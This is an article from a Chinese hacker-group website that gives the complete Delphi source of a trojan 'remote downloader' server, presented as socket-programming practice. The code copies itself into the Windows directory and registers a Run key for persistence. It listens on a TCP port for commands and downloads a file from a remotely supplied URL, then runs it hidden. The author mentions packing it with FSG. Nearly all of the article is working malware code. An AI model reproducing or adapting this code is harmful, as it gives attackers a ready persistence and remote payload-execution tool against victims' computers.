| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 编程技术 >> 黑客编程 >> 文章正文 用户登录 新用户注册
  控下载者3.0 服务端代码,使用winsock api编写         ★★★ 【字体:
控下载者3.0 服务端代码,使用winsock api编写
作者:hnxyy    文章来源:csdn    点击数:    更新时间:2005-10-8    

闲时参考kendy遥控下载者3..0客户端而写的server程序,算是练习socket编程的一个简单例子把,用fsg加壳后为8.90K 

by hnxyy 

  QQ:19026695 
   

程序: 

program Server; 

uses Windows,Winsock,urlmon; 

const 
BufSize=1024; 
var 
buf :array[0..BufSize-1] of char; 

function DownloadToFile(Sourcefile, Destfile: string): Boolean; //下载函数 
begin 
try 
  Result:=UrlDownloadToFile(nil,PChar(Sourcefile),PChar(Destfile),0,nil)=0; 
except 
  Result:=false; 
end; 
end; 

function StrPas(const Str: PChar): string;//转换Pchar字符为String格式 
begin 
Result := Str; 
end; 

function StrLen(const Str: PChar): Cardinal; assembler; 
asm 
    MOV   EDX,EDI 
    MOV   EDI,EAX 
    MOV   ECX,0FFFFFFFFH 
    XOR   AL,AL 
    REPNE   SCASB 
    MOV   EAX,0FFFFFFFEH 
    SUB   EAX,ECX 
    MOV   EDI,EDX 
end; 

function StrCopy(Dest: PChar; const Source: PChar): PChar; 
asm 
    PUSH   EDI 
    PUSH   ESI 
    MOV   ESI,EAX 
    MOV   EDI,EDX 
    MOV   ECX,0FFFFFFFFH 
    XOR   AL,AL 
    REPNE   SCASB 
    NOT   ECX 
    MOV   EDI,ESI 
    MOV   ESI,EDX 
    MOV   EDX,ECX 
    MOV   EAX,EDI 
    SHR   ECX,2 
    REP   MOVSD 
    MOV   ECX,EDX 
    AND   ECX,3 
    REP   MOVSB 
    POP   ESI 
    POP   EDI 
end; 

procedure SendData(FSocket:integer;SendStr:string); 
begin 
FillChar(buf,BufSize,#0); 
strcopy(buf,PChar(SendStr)); 
send(FSocket,buf,sizeof(buf),0); 
end; 

procedure Run; 
var 
wd :TWSAdata; 
server,recSocket :TSocket; 
ca :TSockAddrIn; 
rec_len:integer; 
ip :pchar; 
port :integer; 
cmd:string; 
begin 
//不能启动winsock库,退出 
if WSAStartup($0101,wd)<>0 then exit; 
//创建一个套接口 
server:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP); 
//连接有错误,退出 
if server=INVALID_SOCKET then exit; 
port :=1304; 
ip :=’127.0.0.1’; 
ca.sin_family :=PF_INET; 
    ca.sin_port :=htons(port); 
    ca.sin_addr.s_addr :=inet_addr(ip); 
//将本地地址与套接口捆绑 
if bind(server,ca,sizeof(ca))=SOCKET_ERROR then 
begin 
  closesocket(server); 
  exit; 
end; 
//监听 
listen(server,5); 
recSocket :=accept(server,nil,nil); 
while true do 
begin 
  if recSocket=socket_error then exit; 
  rec_len :=recv(recSocket,buf,BufSize,0); 
  if rec_len=socket_error then 
  begin 
    closesocket(recSocket); 
    exit; 
  end; 
  if rec_len<=0 then exit; 
  cmd :=strpas(buf); 
  if copy(cmd,1,3)=’run’ then //自动运行 
  begin 
    cmd:=Copy(cmd,4,length(cmd)-3); 
    if Pos(’http://’,cmd)=0 then 
    cmd:=’http://’+cmd; 
    SendData(recSocket,’>> 服务端接收到命令(下载+自动运行),正在执行...’); 
    if DownloadToFile(cmd,’c:\srv.exe’) then   //下载成功 
    begin 
    Winexec(’c:\srv.exe’,SW_HIDE); 
    SendData(server,’>> 服务端下载并运行目标文件成功!’); 
    end else 
    SendData(recSocket,’>> 服务端下载目标文件失败!’); 
  end; 
  if Copy(cmd,1,5)=’norun’ then   //不运行 
  begin 
    cmd:=Copy(buf,6,Length(cmd)-5); 
    if Pos(’http://’,cmd)=0 then 
    cmd:=’http://’+cmd; 
    SendData(recSocket,’>> 服务端接收到命令(下载),正在执行...’); 
    if DownloadToFile(cmd,’c:\srv.exe’) then   //下载成功 
    SendData(recSocket,’>> 服务端下载目标文件成功!’) 
    else 
    SendData(recSocket,’>> 服务端下载目标文件失败!’); 
  end; 
end; 
closesocket(recSocket); 
closesocket(server); 
end; 

var 
mykey :HKEY; 
buffer,cmd :array[0..MAX_PATH] of char; 
begin 
GetWindowsDirectory(buffer,MAX_PATH); 
lstrcat(buffer,’\srv.exe’); 
GetModuleFileName(hInstance,cmd,MAX_PATH); 
CopyFile(cmd,buffer,false); 
RegOpenKeyEx(HKEY_CURRENT_USER,’Software\Microsoft\ 
Windows\CurrentVersion\Run’,0,KEY_ALL_ACCESS,mykey); 
RegSetValueEx(mykey,’Downloader’,0,REG_SZ,@buffer,sizeof(buffer)); 
Run; 
end.

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    带宽严重不足!美网络用户因过
    火狐浏览器下载次数突破4亿大
    警惕木马下载器将您的电脑变
    Safari在处理Java Applet的下
    巧用下载利器IDM 防止浏览器
    本周病毒警惕:KL木马下载器
    美国一黑客利用谷歌免费下载
    牛X下载者生成器生成的网页木
    Windows版本Safari 48小时内
    利用下载漏洞对数据库发起网
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.